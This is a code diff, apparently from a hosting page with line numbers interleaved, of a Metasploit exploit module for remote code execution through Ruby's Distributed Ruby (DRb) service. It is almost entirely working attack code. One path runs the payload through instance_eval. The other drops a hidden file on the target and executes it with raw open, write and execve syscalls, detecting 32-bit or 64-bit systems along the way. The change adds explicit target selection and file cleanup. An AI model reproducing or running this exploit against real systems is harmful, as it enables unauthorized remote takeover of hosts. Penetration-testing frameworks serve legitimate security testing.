7
7
require 'drb/drb'
8
8
9
9
class MetasploitModule < Msf ::Exploit ::Remote
10
+
10
11
Rank = ExcellentRanking
11
12
13
+ include Msf ::Exploit ::FileDropper
14
+
12
15
def initialize ( info = { } )
13
16
super ( update_info ( info ,
14
17
'Name' => 'Distributed Ruby Send instance_eval/syscall Code Execution' ,
@@ -58,19 +61,37 @@ def exploit
58
61
class << p
59
62
undef :send
60
63
end
64
+
65
+ case target . name
66
+ when 'instance_eval'
67
+ print_status ( 'Trying to exploit instance_eval' )
68
+ exploit_instance_eval ( p )
69
+ when 'syscall'
70
+ print_status ( 'Trying to exploit syscall' )
71
+ exploit_syscall ( p )
72
+ end
73
+ end
74
+
75
+ def exploit_instance_eval ( p )
61
76
begin
62
- print_status ( 'trying to exploit instance_eval' )
63
77
p . send ( :instance_eval , "Kernel.fork { `#{ payload . encoded } ` }" )
78
+ rescue SecurityError
79
+ print_error ( 'instance_eval failed due to security error' )
80
+ rescue DRb ::DRbConnError
81
+ print_error ( 'instance_eval failed due to connection error' )
82
+ end
83
+ end
64
84
65
- rescue SecurityError => e
66
- print_status ( 'instance eval failed, trying to exploit syscall' )
67
- filename = "." + Rex ::Text . rand_text_alphanumeric ( 16 )
68
- begin
85
+ def exploit_syscall ( p )
86
+ filename = "." + Rex ::Text . rand_text_alphanumeric ( 16 )
69
87
88
+ begin
89
+ begin
90
+ print_status ( 'Attempting 32-bit exploitation' )
70
91
# syscall to decide wether it's 64 or 32 bit:
71
92
# it's getpid on 32bit which will succeed, and writev on 64bit
72
93
# which will fail due to missing args
73
- j = p . send ( :syscall , 20 )
94
+ p . send ( :syscall , 20 )
74
95
# syscall open
75
96
i = p . send ( :syscall , 8 , filename , 0700 )
76
97
# syscall write
@@ -82,13 +103,9 @@ class << p
82
103
# syscall execve
83
104
p . send ( :syscall , 11 , filename , 0 , 0 )
84
105
85
- # not vulnerable
86
- rescue SecurityError => e
87
-
88
- print_status ( 'target is not vulnerable' )
89
-
90
106
# likely 64bit system
91
- rescue => e
107
+ rescue Errno ::EBADF
108
+ print_status ( 'Target is a 64-bit system' )
92
109
# syscall creat
93
110
i = p . send ( :syscall , 85 , filename , 0700 )
94
111
# syscall write
@@ -100,9 +117,17 @@ class << p
100
117
# syscall execve
101
118
p . send ( :syscall , 59 , filename , 0 , 0 )
102
119
end
120
+
121
+ # not vulnerable
122
+ rescue SecurityError
123
+ print_error ( 'syscall failed due to security error' )
124
+ return
125
+ rescue DRb ::DRbConnError
126
+ print_error ( 'syscall failed due to connection error' )
127
+ return
103
128
end
104
- print_status ( "payload executed from file #{ filename } " ) unless filename . nil?
105
- print_status ( "make sure to remove that file" ) unless filename . nil?
106
- handler ( nil )
129
+
130
+ register_files_for_cleanup ( filename )
107
131
end
132
+
108
133
end
0 commit comments